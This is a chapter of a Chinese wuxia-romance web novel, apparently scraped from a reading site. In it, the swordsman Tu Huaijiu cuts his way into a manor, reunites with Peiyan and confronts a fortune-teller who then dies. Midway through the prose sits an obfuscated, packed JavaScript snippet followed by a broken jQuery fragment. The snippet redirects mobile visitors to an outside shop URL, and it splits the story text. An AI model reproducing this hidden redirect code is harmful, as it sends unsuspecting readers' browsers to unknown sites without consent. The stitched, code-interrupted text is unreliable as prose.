文趣网 > 都市小说 > 梦游捡夫婿靠谱吗 > 31. 第三十一章
    屠怀酒垂睨,眸色冷厉,“你只需要告诉我,谁家最大。”

    男人下意识说,“那自然是江北栖霞山庄陆家。”

    “等下!”他看着屠怀酒果断离开的背影,急道,“你不会要杀过去吧!那可是盐城陆氏一脉宗亲!”

    屠怀酒提着剑,鲜红的剑穗在寒光中飘荡,他头也不回,“很快就不是了。”

    小五追上去,两人离开绸缎庄,“这里怎么也有栖霞山庄?”

    屠怀酒没回答,只是问了几个路人山庄怎么走后,拎着他原地起飞。

    小五吓得叫了两声,甩了自己一脸口水。

    栖霞山庄在江对岸,屠怀酒身影掠过几艘小船,远远瞧见那边有一大片竹林。

    据说山庄就在竹林深处。

    他在竹林上空飞纵,却始终没有看到任何山庄的影子。

    屠怀酒回到地面,看着四周密密麻麻的竹子,突然嗤笑一声。

    “是我想差了。”他说。

    小五头晕目眩,抱着一根竹子才勉强站住,他干呕了两下,疑惑,“啊?什么?”

    随着话音落下,身边突然卷起狂风,小五震惊地看向屠怀酒。

    屠怀酒素袍翻飞,剑花在空中旋出道道亮寒色,劲急猛恶,似有破空之声震彻天地,剑气所到之处草色全无。

    周围大片大片的竹子齐刷刷倒地,前方瞬间豁然开朗。

    小五呆滞的张着嘴。

    一时间,这里竟只剩下他怀中这一根竹子还在挺立。

    取而代之的是被震动引来的山庄护卫,他们一个个身形迅猛,仿佛断竹幻化的厉鬼前来夺魂索命。

    “来者何人?可知这是什么……”

    质问的厉声戛然而止。

    无数竹叶在剑风中飞旋,带着凌厉的杀气席卷众人,呼吸间擦过咽喉,血雾炸开的瞬间在空中凝成一道鲜红的长线。

    长剑入鞘,风声骤消。

    小五看着对面那些守卫犹如崩坏的提线木偶般同时倒地,一股寒意从脊柱快速向上攀爬。

    他将视线缓缓挪到屠怀酒身上。

    素色长袍此时满是殷红,血珠顺着眼尾滑到下颌,将他割裂成残暴与漠然的两半。

    屠怀酒看着对面不远处紧闭的山庄大门,脚下随意踢起一根断竹,断竹在空中划出一道半弧,以势不可挡的力道破开大门,碎出轰鸣。

    早在竹林断裂的时候,十四彩就听到了声音,她正在祠堂内为鬼仙通擦拭脸上的鲜血。

    听到响声,她担忧的看了眼外面。

    鬼仙通:“一力降十会,这竹林没用了,只可惜我的阵法……”

    十四彩并不在乎这些,“大师,姜姑娘去哪儿了?”

    她想不通,“我一直守在门外,她绝无可能出去。”

    鬼仙通双目紧闭,血迹几乎已经擦干净了,他摆了摆手,刚要说话,就听到更近的一声巨响。

    他掐指叹了口气,“庄主不在,你随我去迎客?”

    十四彩将他扶起来,“我?”

    鬼仙通不容她拒绝,掐着她的手腕就向外走。他虽闭着眼,但却一路顺畅的来到前院。

    十四彩不明白,就算庄主不在,庄子上还有其他人,她只是被掳来做供品诱饵,为什么要在这种时刻挺在前面?

    她挣扎着拒绝,奈何鬼仙通力气太大,无法从他手中挣脱。

    “十四彩。”

    她猛地抬头。

    屠怀酒眉眼间戾气深重,眸中满是轻蔑的杀意,但唇角却是上扬的,血痕凝固在脸上,诡异又可怖。

    “你果然在这里。”他说。

    十四彩认得他,一股蚀骨的寒意爬上头皮,“你怎么会找到这里……”

    小五从后面挪过来,“因为这里是栖霞山庄。”他觉得自己现在脑子空前无比的聪明。

    他说,“十四娘子,好久不见。”

    “小五?”十四彩有些不确定。

    小五挠挠头,“是我。”

    十四彩瞬间就明白了他的意思,怪不得佩烟会说出山庄的名字。

    屠怀酒目光微移,落到鬼仙通脸上,“是你。”

    鬼仙通方才掐指,只算出自己此番凶中带吉,吉利西方,但却算不出来者何人。

    此刻听到屠怀酒的声音,他只觉得熟悉,但却不知道在哪里听到过。

    “鬼仙通。”屠怀酒冷声,“你抓来的人呢?”

    鬼仙通忙道,“不是我抓的!姑娘已经走了!”

    “走了?”屠怀酒皱眉。

    十四彩点头,“姜姑娘确实已经不在这里,来这里的女子都要经大师算过才能决定去向,她进祠堂后就不见了。”

    屠怀酒眉心一松。

    “阁下闹出这么大的动静实属无奈,我理解,趁着庄主不在,还请速速离去才好。”鬼仙通说。

    屠怀酒瞥他一眼,“十年了,你这算命的本事一点没见涨。”

    鬼仙通微怔,“什么?”

    长剑出鞘发出铮鸣,屠怀酒嗤道,“你出来前没给自己算一卦吗?”

    “无碍,我算过了。”他眸中杀意尽显,“你今日命数已尽。”

    凶中带吉,吉利西方!

    鬼仙通撒腿就往前院西边跑。

    马车沿着官道一路向前跑。

    佩烟觉得不能等到明天,屠怀酒在那边一定很着急,她要赶紧回去。

    于是她驾车去买了碗安神药灌下去,又将马车停在僻静无人的角落里等睡着。

    只不过睡是睡着了,醒的也很快。

    但为什么还是在马车里?

    佩烟掀开帘子往外看,甚至日头变化都不明显。

    她睡了恐怕都没有一炷香的时间。

    “我这什么病啊?”佩烟脾气上来摔了一下包袱,“该犯病的时候不犯病!”

    包袱落地的瞬间,周围仿佛扭曲了一下。

    佩烟一怔,随后迅速捡起包袱从里面掏出一枚风铃挂在车窗上。

    几乎是松手的同时,眼前铃铛变成了桃枝。

    佩烟仰头看着桃树伸出的枝条,刺目的阳光明晃晃,她不由低头揉了下眼睛,结果就被人撞了。

    “嗯?”鬼仙通不明白,虽目不能视,但他算好了这里假山背后并无阻碍,为何会撞到人?

    佩烟则是一脸绝望,“鬼仙通?”

    鬼仙通浑身一颤。

    怎么回事?佩烟看向周围,她以为会出现在屠怀酒身边,怎么会是这里啊?

    身后的太湖石怦然碎裂,一阵疾风突现。

    佩烟吓了一跳,惊疑中回眸,却突然落入温暖坚实的怀抱。

    箍在腰间的手臂恨不得将她揉碎,永远禁锢在怀中。

    佩烟愣了下,随后抬手轻轻拍了拍屠怀酒的后背,“别怕,我没事。”

    屠怀酒沉默着将脸埋在她的脖颈间,臂弯的力道越来越重

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732049|206995||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    “等下。”佩烟似是想起什么,“你松手我看看。”

    屠怀酒没动。

    “不对。”佩烟手撑着他的腰往外推,“你脸上怎么回事?”

    屠怀酒在她颈间喟叹一声,细密的气息洒过来,像一层热浪,顺着她的力道松开怀抱。

    佩烟看向他这一身的血迹。

    鬼仙通趁机想跑,结果屠怀酒转头一个眼刀扫过去,又老实站在原地。

    “你瞪他干什么?”佩烟掰过他的下巴,“看着我。”

    屠怀酒:“看着呢。”

    下巴上都是血,佩烟指腹擦过,血都干了。

    “怎么回事?”她颦眉,“你受伤了吗?”

    屠怀酒想了下,不知道是受伤好点,还是没受伤好点。

    佩烟敏感地抬眸,“你还打算唬我?”

    屠怀酒怔了下,随后勾唇,“没有,不敢。”

    佩烟:“那受伤了吗?”

    屠怀酒:“没有。”

    小五在后面罕见的翻了白眼,姑娘啊,看看外面那遍地横尸吧。

    “佩烟。”

    佩烟偏头,十四彩站在鬼仙通后面,脸色复杂的看过来。

    “我就知道你肯定没走。”十四彩说,“大师竟然还骗我。”

    她一把扯过鬼仙通的手臂,“为什么?你可以放过一个素未谋面的人,却非要拉我入局?我哪里碍到你的眼了?”

    “难道我当初不是和她一样?为什么你一见我就说可堪用?如果你不说这句话,他根本不会把我从庄上掳走!”

    十四彩貌美的面容因为气愤变得扭曲。

    鬼仙通一把甩开她的手,“每个人的命数是不一样的,你以为你和她一样?”

    他冷笑着指着紧闭的双眼,“我看到的可不是。”

    说起这个,佩烟歪头看了看他,“你的眼睛还好吗?”

    鬼仙通脸转过来,冲着她突然睁开双目,两只浑浊发白的眼瞳上满是红丝。

    针孔般小的瞳仁又黑又细,在红丝中拉长又缩短。

    佩烟惊得退后半步。

    屠怀酒挡在她身前,冷睨着他,“不易啊,另一只也瞎了。”

    鬼仙通重新闭上眼,“方才就觉得阁下的声音耳熟,你究竟是谁?”

    “不记得我了?”屠怀酒似是笑了声,“十年前那只眼睛瞎的时候不是还说会永远记住我?”

    鬼仙通脸色一白,“你……是你!”

    “十年前我就说你这算命的手艺不行,尽早换个行当骗人。”屠怀酒说,“看来你是一句都没听进去啊。”

    佩烟探头,“你们两个十年前就见过?他也给你算过命?”

    屠怀酒垂眸,“嗯。”

    “他算命确实不行。”佩烟由衷道,“他刚刚给我算,结果眼睛都流血了。”

    不过,佩烟疑惑,“之前还是一只瞎眼,怎么现在两只都瞎了?”

    鬼仙通不知在想什么,不停地上下掐指,脸对着二人,沉默着站在那里,一动不动。

    屠怀酒一怔,“给你算完才瞎的?”

    佩烟:“啊?是吗?”

    两人不约而同看向鬼仙通。

    鬼仙通指尖忽停,原本沉默的脸上突然浮现一丝狰狞的笑意。

    “原来如此。”双目再次留下血泪,“原来如此啊。”

    言毕,鬼仙通犹如瘫软的棉花一头栽倒在地,没了呼吸。